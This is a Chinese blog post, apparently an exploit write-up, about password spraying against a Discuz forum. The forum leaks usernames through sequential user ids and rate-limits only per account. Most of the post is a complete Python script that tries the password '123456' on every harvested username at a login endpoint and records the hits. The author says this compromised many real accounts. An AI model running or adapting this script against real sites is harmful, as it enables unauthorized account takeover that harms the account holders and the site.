[漏洞利用]某站点登录接口暴力破解脚本

在某discuz论坛上发现发帖的用户都是登录名做昵称，故注册了一个帐号进行登录，仔细分析之后，发现有一个url会根据id返回相应的基本用户信息，而信息里面包含了用户名！并且id是顺序递增的，这意味着我们是可以使用脚本大批量获取该站点的用户名的。此外，经过手动验证，该论坛的登录只做了纵向暴力破解防御，而横向防暴力破解是没有的，结合这两点拿下了该站点很多使用弱口令的账户。

注：

纵向暴力破解：即对单一账户使用不同的密码进行尝试，如果应用有做防御，一般会出现验证码或者锁定之类的现象。

横向暴力破解：即使用单一弱口令尝试登录不同的账户。一般情况下，为了用户体验，都会有至少3次的尝试机会，因此，如果使用高频率的密码进行尝试，则命中率是比较高的。

获取用户名脚本（此处略）。

横向暴力破解脚本：

 1 #coding:utf-8, 
 2 import sys,urllib,urllib2,cookielib,time; 
 3 
 4 url1 = "http://www.xxx.com/mobile/xxx-login.html"; 
 5 url2 = "http://www.xxx.com/mobile/xxx-post_login.html";
 6 
 7 def s_request(url,data,step): 
 8     req = urllib2.Request(url);    #构造要发送的request内容 
 9     if(data != None): 
10         req.add_data(data); 
11     req.add_header("Proxy-Connection","keep-alive"); 
12     req.add_header("Accept-Language","zh-CN,zh;q=0.8,en;q=0.6"); 
13     req.add_header("User-Agent","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"); 
14     if(step == 1): 
15         req.add_header("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); 
16         req.add_header("Cookie","vary=ad6b4f8d4c39539fa40661c653cd4a4f6b65742dbf71bbea39c0f33572385dc0; Hm_lvt_4f2975be01c8951042db4fd8dd38717b=1399626611,1399700907,1399774576"); 
17     else: 
18         req.add_header("Accept","application/json"); 
19         req.add_header("Referer","http://www.xxx.com/mobile/xxx-login.html"); 
20         req.add_header("Content-Type","application/x-www-form-urlencoded"); 
21         req.add_header("X-Requested-With","XMLHttpRequest"); 
22     resp = urllib2.urlopen(req); #发送request，返回文件描述符 
23     str  = resp.read(); 
24     # print str; 
25     if(str.find("success")!=-1): #存在success表示登录成功 
26         return 1 
27     else: 
28         return 0; 
29 
30 #自动带上cookie        
31 cj = cookielib.CookieJar(); 
32 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)); 
33 urllib2.install_opener(opener) 
34 
35 u = open("D:\uid\uname.txt","r"); 
36 l = open("D:\uid\record.txt","a"); 
37 s_request(url1,None,1); #通过url1获取cookie 
38 
39 while 1: 
40     user = u.readline(); 
41     if(len(user) == 0): 
42         break; 
43     user = user.replace('
',''); 
44     print user; 
45     data = {"returnUrl":"http%3A%2F%2Fwww.xxx.com%2Findex.php","password":"123456","uname":user,};  
46     data = urllib.urlencode(data); 
47     if(s_request(url2,data,2) == 1): #尝试登录 
48         l.write(user+":"+"123456"+"
"); #将用户名和密码记录到文件 
49         l.flush(); 
50         s_request(url1,None,1); #重新获取cookie 
51 u.close(); 
52 l.close();